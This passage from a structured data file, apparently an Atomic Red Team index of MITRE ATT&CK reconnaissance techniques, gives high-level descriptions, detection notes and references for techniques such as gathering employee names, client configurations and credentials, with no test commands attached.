[Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access." x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Matt Burrough, @mattburrough, Microsoft - Vinayak Wadhwa, SAFE Security type: attack-pattern id: attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022 created: '2022-08-09T13:01:43.314Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1593/003 external_id: T1593.003 - source_name: GitHub Cloud Service Credentials description: Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022. url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.0.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1589.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156 type: attack-pattern created: '2020-10-02T14:57:15.906Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1589.003 url: https://attack.mitre.org/techniques/T1589/003 - source_name: OPM Leak url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/ description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Employee Names description: |- Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1592.004: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c type: attack-pattern created: '2020-10-02T16:47:16.719Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1592.004 url: https://attack.mitre.org/techniques/T1592/004 - source_name: ATT ScanBox url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.' - source_name: ThreatConnect Infrastructure Dec 2020 url: https://threatconnect.com/blog/infrastructure-research-hunting/ description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' modified: '2022-04-25T14:00:00.188Z' name: Client Configurations description: |- Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Internet Scan: Response Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1598.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack x_mitre_contributors: - Philip Winther - Sebastian Salla, McAfee - Robert Simmons, @MalwareUtkonos object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc type: attack-pattern created: '2020-10-02T17:08:57.386Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1598.002 url: https://attack.mitre.org/techniques/T1598/002 - source_name: Sophos Attachment url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/ description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.' - source_name: GitHub Phishery url: https://github.com/ryhanson/phishery description: Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020. - source_name: Microsoft Anti Spoofing url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. - source_name: ACSC Email Spoofing url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf description: Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. modified: '2022-04-25T14:00:00.188Z' name: Spearphishing Attachment description: |- Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: 'Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)' x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1596.004: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75 type: attack-pattern created: '2020-10-02T16:59:56.648Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1596.004 url: https://attack.mitre.org/techniques/T1596/004 - source_name: DigitalShadows CDN url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/ description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: CDNs description: |- Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1591: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23 type: attack-pattern created: '2020-10-02T16:27:02.339Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1591 url: https://attack.mitre.org/techniques/T1591 - source_name: ThreatPost Broadvoice Leak url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/ description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020. - source_name: SEC EDGAR Search url: https://www.sec.gov/edgar/search-and-access description: U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. modified: '2022-04-25T14:00:00.188Z' name: Gather Victim Org Information description: |- Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1590: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109 type: attack-pattern created: '2020-10-02T15:45:17.628Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1590 url: https://attack.mitre.org/techniques/T1590 - source_name: WHOIS url: https://www.whois.net/ description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020. - source_name: DNS Dumpster url: https://dnsdumpster.com/ description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. - source_name: Circl Passive DNS url: https://www.circl.lu/services/passive-dns/ description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Gather Victim Network Information description: |- Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1593: technique: modified: '2022-10-18T22:48:33.286Z' name: Search Open Websites/Domains description: |- Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_platforms: - PRE x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' type: attack-pattern id: attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365 created: '2020-10-02T16:48:04.509Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1593 external_id: T1593 - source_name: SecurityTrails Google Hacking description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020. url: https://securitytrails.com/blog/google-hacking-techniques - source_name: Cyware Social Media description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020. url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e - source_name: ExploitDB GoogleHacking description: Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020. url: https://www.exploit-db.com/google-hacking-database object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1597: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4 type: attack-pattern created: '2020-10-02T17:01:42.558Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1597 url: https://attack.mitre.org/techniques/T1597 - source_name: D3Secutrity CTI Feeds url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/ description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020. - source_name: ZDNET Selling Data url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/ description: Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Search Closed Sources description: |- Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1592.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d type: attack-pattern created: '2020-10-02T16:46:42.537Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1592.003 url: https://attack.mitre.org/techniques/T1592/003 - source_name: ArsTechnica Intel url: https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/ description: Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Firmware description: |- Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1592.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884 type: attack-pattern created: '2020-10-02T16:42:17.482Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1592.002 url: https://attack.mitre.org/techniques/T1592/002 - source_name: ATT ScanBox url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.' - source_name: ThreatConnect Infrastructure Dec 2020 url: https://threatconnect.com/blog/infrastructure-research-hunting/ description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' modified: '2022-04-25T14:00:00.188Z' name: Software description: |- Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Internet Scan: Response Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1593.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3 type: attack-pattern created: '2020-10-02T16:49:31.262Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1593.001 url: https://attack.mitre.org/techniques/T1593/001 - source_name: Cyware Social Media url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Social Media description: |- Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1589.001: technique: modified: '2023-04-14T23:29:10.396Z' name: Credentials description: "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_contributors: - Vinayak Wadhwa, Lucideus - Lee Christensen, SpecterOps - Toby Kohlenberg x_mitre_deprecated: false x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages 